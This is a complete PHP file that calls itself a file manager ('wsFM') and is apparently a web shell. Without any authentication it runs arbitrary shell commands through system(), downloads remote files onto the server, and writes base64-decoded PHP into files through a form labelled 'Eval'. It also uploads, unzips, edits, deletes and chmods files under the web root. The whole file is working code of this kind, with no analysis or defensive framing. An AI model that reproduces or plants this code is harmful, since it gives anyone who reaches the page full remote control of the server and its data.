<?php
session_start();
$root = $_SERVER['DOCUMENT_ROOT'];
$now = isset($_GET['dir']) ? realpath($_GET['dir']) : $root;
if (!$now || strpos($now, $root) !== 0) $now = $root;
chdir($now);

function fmtSize($bytes) {
    $units = ['B','KB','MB','GB','TB'];
    for ($i = 0; $bytes > 1024; $i++) $bytes /= 1024;
    return round($bytes, 2) . ' ' . $units[$i];
}

function getPerms($path) {
    $p = fileperms($path);
    $info = ($p & 0x4000) ? 'd' : '-';
    $info .= ($p & 0x0100) ? 'r' : '-';
    $info .= ($p & 0x0080) ? 'w' : '-';
    $info .= ($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-');
    $info .= ($p & 0x0020) ? 'r' : '-';
    $info .= ($p & 0x0010) ? 'w' : '-';
    $info .= ($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-');
    $info .= ($p & 0x0004) ? 'r' : '-';
    $info .= ($p & 0x0002) ? 'w' : '-';
    $info .= ($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-');
    return $info;
}

$feedback = '';

if ($_POST) {
    $cmd = $_POST['do'] ?? '';
    
    if ($cmd === 'up') {
        $name = $_FILES['f']['name'] ?? '';
        $temp = $_FILES['f']['tmp_name'] ?? '';
        if ($name && $temp) {
            move_uploaded_file($temp, "$now/$name");
            $feedback = "Uploaded: $name";
        }
    }
    
    if ($cmd === 'urlget') {
        $src = $_POST['url'] ?? '';
        $name = basename(parse_url($src, PHP_URL_PATH));
        if ($src && $name) {
            $data = @file_get_contents($src);
            if ($data !== false) {
                file_put_contents("$now/$name", $data);
                $feedback = "URL fetch OK: $name";
            } else $feedback = 'Download error';
        }
    }
    
    if ($cmd === 'uzip') {
        $zname = $_POST['zf'] ?? '';
        if ($zname && file_exists("$now/$zname")) {
            $z = new ZipArchive;
            if ($z->open("$now/$zname") === true) {
                $z->extractTo($now);
                $z->close();
                $feedback = 'Unzipped';
            } else $feedback = 'Zip error';
        }
    }
    
    if ($cmd === 'evup') {
        $code = $_POST['b64'] ?? '';
        $name = $_POST['oname'] ?? 'x.php';
        if ($code) {
            file_put_contents("$now/$name", base64_decode($code));
            $feedback = "Eval created: $name";
        }
    }
    
    if ($cmd === 'mkf') {
        $n = $_POST['n'] ?? '';
        if ($n) { touch("$now/$n"); $feedback = "File: $n"; }
    }
    if ($cmd === 'mkd') {
        $n = $_POST['n'] ?? '';
        if ($n) { mkdir("$now/$n"); $feedback = "Dir: $n"; }
    }
    
    if ($cmd === 'rn') {
        $o = $_POST['o'] ?? '';
        $n = $_POST['n'] ?? '';
        if ($o && $n && file_exists("$now/$o")) {
            rename("$now/$o", "$now/$n");
            $feedback = "Renamed: $o -> $n";
        }
    }
    
    if ($cmd === 'rm') {
        $f = $_POST['f'] ?? '';
        if ($f) {
            $p = "$now/$f";
            is_dir($p) ? rmdir($p) : unlink($p);
            $feedback = "Removed: $f";
        }
    }
    
    if ($cmd === 'sv') {
        $f = $_POST['f'] ?? '';
        $c = $_POST['c'] ?? '';
        if ($f) { file_put_contents("$now/$f", $c); $feedback = "Saved: $f"; }
    }
    
    if ($cmd === 'chmodx') {
        $f = $_POST['f'] ?? '';
        $m = $_POST['m'] ?? '0755';
        if ($f && preg_match('/^0[0-7]{3}$/', $m)) {
            chmod("$now/$f", octdec($m));
            $feedback = "CHMOD $m on $f";
        }
    }
    
    if ($cmd === 'term') {
        $c = $_POST['c'] ?? '';
        if ($c) {
            ob_start();
            system($c);
            $_SESSION['tout'] = ob_get_clean();
            header("Location: ?dir=" . urlencode($now));
            exit;
        }
    }
}

if (isset($_GET['dl'])) {
    $f = "$now/" . basename($_GET['dl']);
    if (file_exists($f)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($f) . '"');
        readfile($f);
        exit;
    }
}

$edFile = '';
$edContent = '';
if (isset($_GET['ed'])) {
    $ef = "$now/" . basename($_GET['ed']);
    if (file_exists($ef) && is_file($ef)) {
        $edFile = basename($_GET['ed']);
        $edContent = htmlspecialchars(file_get_contents($ef));
    }
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>wsFM</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0b1120;color:#cdd6e0;font-family:system-ui,sans-serif;padding:18px}
a{color:#7ec8e3;text-decoration:none}
a:hover{color:#a8e6ff}
.wrap{max-width:1440px;margin:0 auto}
.top{display:flex;justify-content:space-between;align-items:center;margin-bottom:16px;padding:12px 18px;background:#131d33;border-radius:10px;border:1px solid #1f3350}
.top h1{color:#7ec8e3;font-size:20px;letter-spacing:.5px}
.bread{background:#131d33;padding:10px 14px;border-radius:8px;margin-bottom:18px;border:1px solid #1f3350;font-size:13px;word-break:break-all}
.bread a{color:#7ec8e3;margin:0 3px}
.bread span{color:#556}
.panel{display:flex;flex-wrap:wrap;gap:8px;margin-bottom:22px;background:#131d33;padding:14px;border-radius:8px;border:1px solid #1f3350}
.panel label{color:#7788aa;font-size:12px;margin-right:3px}
.panel input,.panel button{background:#1b2740;border:1px solid #1f3350;color:#cdd6e0;padding:5px 9px;border-radius:6px;font-size:12px}
.panel button{background:#2d8a4e;border-color:#3aa35e;cursor:pointer;font-weight:600}
.panel button:hover{background:#3aa35e}
.grp{border-right:1px solid #1f3350;padding-right:10px;margin-right:3px;display:flex;align-items:center;flex-wrap:wrap;gap:4px}
.grp:last-child{border:0}
table{width:100%;border-collapse:collapse;background:#131d33;border-radius:8px;overflow:hidden;border:1px solid #1f3350}
th{background:#1b2740;padding:9px 11px;text-align:left;font-size:12px;color:#7788aa;border-bottom:1px solid #1f3350}
td{padding:7px 11px;border-bottom:1px solid #192438;font-size:13px}
tr:hover td{background:#182540}
.act a{margin:0 2px;padding:2px 6px;border-radius:4px;background:#1b2740;color:#99aac5;font-size:11px}
.act a:hover{background:#1f3350;color:#fff}
.act .red{color:#e5534b}
.act .purple{color:#b392f0}
.termbox{background:#0b1120;border:1px solid #1f3350;border-radius:8px;margin-top:18px;padding:14px}
.termbox h3{color:#7ec8e3;margin-bottom:8px;font-size:14px}
.termbox textarea{width:100%;height:190px;background:#060b16;color:#7ec8e3;border:1px solid #1f3350;border-radius:6px;padding:8px;font-family:monospace;font-size:12px;resize:vertical}
.termbox input[type=text]{width:calc(100% - 95px);background:#1b2740;border:1px solid #1f3350;color:#cdd6e0;padding:7px 10px;border-radius:6px;font-family:monospace}
.termbox input[type=submit]{background:#2d8a4e;border:0;color:#fff;padding:7px 16px;border-radius:6px;cursor:pointer;font-weight:600}
.modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.75);z-index:999;justify-content:center;align-items:center}
.mcont{background:#131d33;border:1px solid #1f3350;border-radius:12px;padding:22px;min-width:350px;max-width:460px}
.mcont h3{color:#7ec8e3;margin-bottom:12px}
.mcont label{display:block;margin:8px 0 3px;color:#7788aa;font-size:12px}
.mcont input,.mcont textarea{width:100%;background:#1b2740;border:1px solid #1f3350;color:#cdd6e0;padding:7px;border-radius:6px}
.mcont textarea{height:280px;font-family:monospace;font-size:12px}
.mcont button{background:#2d8a4e;border:0;color:#fff;padding:7px 18px;border-radius:6px;cursor:pointer;margin-top:10px;margin-right:6px;font-weight:600}
.mcont .cx{background:#1f3350;color:#99aac5}
.feedback{background:#2d8a4e22;border:1px solid #2d8a4e66;color:#7ec8e3;padding:8px 14px;border-radius:6px;margin-bottom:14px;font-size:13px}
</style>
</head>
<body>
<div class="wrap">
<div class="top">
<h1>⚡ wsFM</h1>
<span style="color:#7788aa;font-size:12px">open session</span>
</div>

<?php if ($feedback): ?><div class="feedback">→ <?=htmlspecialchars($feedback)?></div><?php endif; ?>

<div class="bread">
📂 <a href="?dir=<?=urlencode($root)?>">[ROOT]</a>
<?php
$segments = explode('/', trim(substr($now, strlen($root)), '/'));
$acc = $root;
echo '<span> / </span>';
foreach ($segments as $s) {
    if (!$s) continue;
    $acc .= '/' . $s;
    echo '<a href="?dir=' . urlencode($acc) . '">' . htmlspecialchars($s) . '</a><span> / </span>';
}
?>
</div>

<div class="panel">
<form method="post" enctype="multipart/form-data" style="display:contents">
<div class="grp">
<label>⬆ Up:</label>
<input type="file" name="f" required>
<button type="submit" name="do" value="up">Go</button>
</div>
</form>

<form method="post" style="display:contents">
<div class="grp">
<label>🌐 URL:</label>
<input type="url" name="url" placeholder="https://" size="22" required>
<button type="submit" name="do" value="urlget">Get</button>
</div>
</form>

<form method="post" style="display:contents">
<div class="grp">
<label>📦 Zip:</label>
<input type="text" name="zf" placeholder="file.zip" size="10" required>
<button type="submit" name="do" value="uzip">Unzip</button>
</div>
</form>

<form method="post" style="display:contents">
<div class="grp">
<label>🧬 Eval:</label>
<input type="text" name="oname" placeholder="out.php" size="7" value="x.php">
<input type="text" name="b64" placeholder="base64.." size="20" required>
<button type="submit" name="do" value="evup">Make</button>
</div>
</form>

<form method="post" style="display:contents">
<div class="grp">
<label>➕ New:</label>
<input type="text" name="n" placeholder="name" size="8" required>
<button type="submit" name="do" value="mkf">File</button>
<button type="submit" name="do" value="mkd">Dir</button>
</div>
</form>
</div>

<table>
<tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Actions</th></tr>
<?php
$list = scandir($now);
$dirs = []; $files = [];
foreach ($list as $item) {
    if ($item == '.' || $item == '..') continue;
    if (is_dir("$now/$item")) $dirs[] = $item;
    else $files[] = $item;
}
natcasesort($dirs); natcasesort($files);
$merged = array_merge(['..'=>'..'], $dirs, $files);

foreach ($merged as $item) {
    if ($item === '..') {
        $parent = dirname($now);
        if ($parent && strpos($parent, $root) === 0) {
            echo '<tr><td colspan="5"><a href="?dir=' . urlencode($parent) . '" style="color:#e5b567;font-weight:600">⬆ ../ (up)</a></td></tr>';
        }
        continue;
    }
    $full = "$now/$item";
    $isdir = is_dir($full);
    $sz = $isdir ? '-' : fmtSize(filesize($full));
    $mt = date('Y-m-d H:i:s', filemtime($full));
    $pr = getPerms($full);
    $ico = $isdir ? '📁' : '📄';
    $e = urlencode($item);
    echo '<tr>';
    echo '<td>' . $ico . ' ' . ($isdir ? '<a href="?dir=' . urlencode($full) . '">' : '') . htmlspecialchars($item) . ($isdir ? '</a>' : '') . '</td>';
    echo '<td>' . $sz . '</td>';
    echo '<td>' . $mt . '</td>';
    echo '<td style="font-family:monospace;color:#b392f0">' . $pr . '</td>';
    echo '<td class="act">';
    if (!$isdir) {
        echo '<a href="?dir=' . urlencode($now) . '&ed=' . $e . '">✏️Ed</a>';
        echo '<a href="?dir=' . urlencode($now) . '&dl=' . $e . '">⬇Dl</a>';
    }
    echo '<a href="#" onclick="rn(\'' . htmlspecialchars($item, ENT_QUOTES) . '\')">✏️Rn</a>';
    echo '<a href="#" onclick="rm(\'' . htmlspecialchars($item, ENT_QUOTES) . '\')" class="red">🗑Rm</a>';
    echo '<a href="#" onclick="cm(\'' . htmlspecialchars($item, ENT_QUOTES) . '\')" class="purple">🔒Ch</a>';
    echo '</td></tr>';
}
?>
</table>

<div class="termbox">
<h3>💻 Terminal</h3>
<form method="post">
<input type="text" name="c" placeholder="$ command..." autocomplete="off" required>
<input type="hidden" name="do" value="term">
<input type="submit" value="Run">
</form>
<?php if (isset($_SESSION['tout'])): ?>
<textarea readonly><?=htmlspecialchars($_SESSION['tout'])?></textarea>
<?php unset($_SESSION['tout']); endif; ?>
</div>

<!-- edit modal -->
<div id="mEdit" class="modal">
<div class="mcont">
<h3>✏️ Edit</h3>
<form method="post">
<input type="hidden" name="do" value="sv">
<input type="hidden" name="f" id="efn">
<label>Content:</label>
<textarea name="c" id="econ"></textarea>
<div>
<button type="submit">💾 Save</button>
<button type="button" class="cx" onclick="cl('mEdit')">Cancel</button>
</div>
</form>
</div>
</div>

<!-- rename modal -->
<div id="mRn" class="modal">
<div class="mcont">
<h3>✏️ Rename</h3>
<form method="post">
<input type="hidden" name="do" value="rn">
<input type="hidden" name="o" id="rno">
<label>New name:</label>
<input type="text" name="n" id="rnn" required>
<div>
<button type="submit">✅ Go</button>
<button type="button" class="cx" onclick="cl('mRn')">Cancel</button>
</div>
</form>
</div>
</div>

<!-- delete modal -->
<div id="mRm" class="modal">
<div class="mcont">
<h3 style="color:#e5534b">⚠️ Delete</h3>
<form method="post">
<input type="hidden" name="do" value="rm">
<input type="hidden" name="f" id="rmf">
<p style="margin:10px 0;color:#99aac5">Remove <strong id="rmn" style="color:#e5534b"></strong> forever?</p>
<button type="submit" style="background:#e5534b">🗑 Delete</button>
<button type="button" class="cx" onclick="cl('mRm')">Cancel</button>
</form>
</div>
</div>

<!-- chmod modal -->
<div id="mCm" class="modal">
<div class="mcont">
<h3 style="color:#b392f0">🔒 CHMOD</h3>
<form method="post">
<input type="hidden" name="do" value="chmodx">
<input type="hidden" name="f" id="cmf">
<label>Permission (octal):</label>
<input type="text" name="m" id="cmp" value="0755" pattern="^0[0-7]{3}$" style="font-family:monospace;font-size:15px;text-align:center;letter-spacing:2px">
<div style="margin-top:8px;display:flex;gap:6px">
<button type="button" onclick="document.getElementById('cmp').value='0644'" style="background:#1b2740;border:1px solid #1f3350;color:#99aac5;padding:5px 12px;border-radius:6px;cursor:pointer">0644</button>
<button type="button" onclick="document.getElementById('cmp').value='0755'" style="background:#1b2740;border:1px solid #1f3350;color:#99aac5;padding:5px 12px;border-radius:6px;cursor:pointer">0755</button>
<button type="button" onclick="document.getElementById('cmp').value='0777'" style="background:#1b2740;border:1px solid #1f3350;color:#99aac5;padding:5px 12px;border-radius:6px;cursor:pointer">0777</button>
</div>
<div style="margin-top:12px">
<button type="submit">✅ Apply</button>
<button type="button" class="cx" onclick="cl('mCm')">Cancel</button>
</div>
</form>
</div>
</div>

<script>
<?php if ($edFile): ?>
document.addEventListener('DOMContentLoaded', function() {
    document.getElementById('efn').value = '<?=htmlspecialchars($edFile, ENT_QUOTES)?>';
    document.getElementById('econ').value = '<?=addslashes($edContent)?>';
    document.getElementById('mEdit').style.display = 'flex';
});
<?php endif; ?>

function rn(n) {
    document.getElementById('rno').value = n;
    document.getElementById('rnn').value = n;
    document.getElementById('mRn').style.display = 'flex';
}
function rm(n) {
    document.getElementById('rmf').value = n;
    document.getElementById('rmn').innerText = n;
    document.getElementById('mRm').style.display = 'flex';
}
function cm(n) {
    document.getElementById('cmf').value = n;
    document.getElementById('cmp').value = '0755';
    document.getElementById('mCm').style.display = 'flex';
}
function cl(id) {
    document.getElementById(id).style.display = 'none';
}
window.onclick = function(e) {
    ['mEdit','mRn','mRm','mCm'].forEach(function(id) {
        var el = document.getElementById(id);
        if (e.target === el) el.style.display = 'none';
    });
}
</script>
</div>
</body>
</html>